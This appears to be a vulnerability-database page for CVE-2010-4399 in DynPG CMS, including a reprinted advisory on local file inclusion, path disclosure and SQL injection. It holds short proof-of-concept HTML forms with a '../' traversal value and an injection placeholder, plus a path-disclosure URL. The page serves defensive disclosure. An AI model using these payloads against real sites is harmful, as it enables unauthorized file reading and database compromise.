CVE-2010-4399
Description
Directory traversal vulnerability in languages.inc.php in DynPG CMS 4.1.1 and 4.2.0, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the CHG_DYNPG_SET_LANGUAGE parameter to index.php. NOTE: some of these details are obtained from third party information.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
DynPG 4.2.0 - Multiple Vulnerabilities
Vulnerability ID: HTB22703
Reference: http://www.htbridge.ch/advisory/lfi_in_dynpg.html
Product: DynPG
Vendor: dynpg.org ( http://www.dynpg.org/ )
Vulnerable Version: 4.2.0
Vendor Notification: 16 November 2010
Vulnerability Type: Local File Inclusion
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Local File Inclusion:
Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in CHG_DYNPG_SET_LANGUAGE variable.
Attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://dynpg/index.php" method="post" name="main" >
<input type="hidden" name="SYSTEM_NAME" value="[admin_login]" />
<input type="hidden" name="SYSTEM_PASSWORD" value="[admin_password]" />
<input type="hidden" name="SET_LANGUAGE" value="1" />
<input type="hidden" name="CHG_DYNPG_SET_LANGUAGE" value="../../../../../" />
<input type="submit" value="submit" name="submit" />
</form>
Solution: Upgrade to the most recent version
Path Disclosure:
Vulnerability Details:
The vulnerability exists due to failure in the "/languages.inc.php" script, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.
Attacker can use browser to exploit this vulnerability. The following PoC is available:
http://[host]/languages.inc.php
Solution: Upgrade to the most recent version
SQL Injection:
Vulnerability Details:
The vulnerability exists due to failure in the "_rights.php" script to properly sanitize user-supplied input in "giveRights_UserId" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.
Attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://[host]/_rights.php" method="post" name="main" >
<input type="hidden" name="saveRights" value="1" />
<input type="hidden" name="giveRights_giveright" value="1" />
<input type="hidden" name="giveRights_UserId" value="123'SQL_CODE_HERE" />
<input type="submit" value="submit" name="submit" />
</form>
Solution: Upgrade to the most recent versionReferences
- http://osvdb.org/69539
- http://packetstormsecurity.org/files/view/96230/dynpg-lfisqldisclose.txt
- http://secunia.com/advisories/42380
- http://www.dynpg.org/cms-freeware_en.php?t=DynPG+Update+4.2.1+Security+Update&read_article=226
- http://www.exploit-db.com/exploits/15646
- http://www.htbridge.ch/advisory/lfi_in_dynpg.html
- http://www.securityfocus.com/bid/45115
- http://osvdb.org/69539
- http://packetstormsecurity.org/files/view/96230/dynpg-lfisqldisclose.txt
- http://secunia.com/advisories/42380
- http://www.dynpg.org/cms-freeware_en.php?t=DynPG+Update+4.2.1+Security+Update&read_article=226
- http://www.exploit-db.com/exploits/15646
- http://www.htbridge.ch/advisory/lfi_in_dynpg.html
- http://www.securityfocus.com/bid/45115
CWEs
CWE-22
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.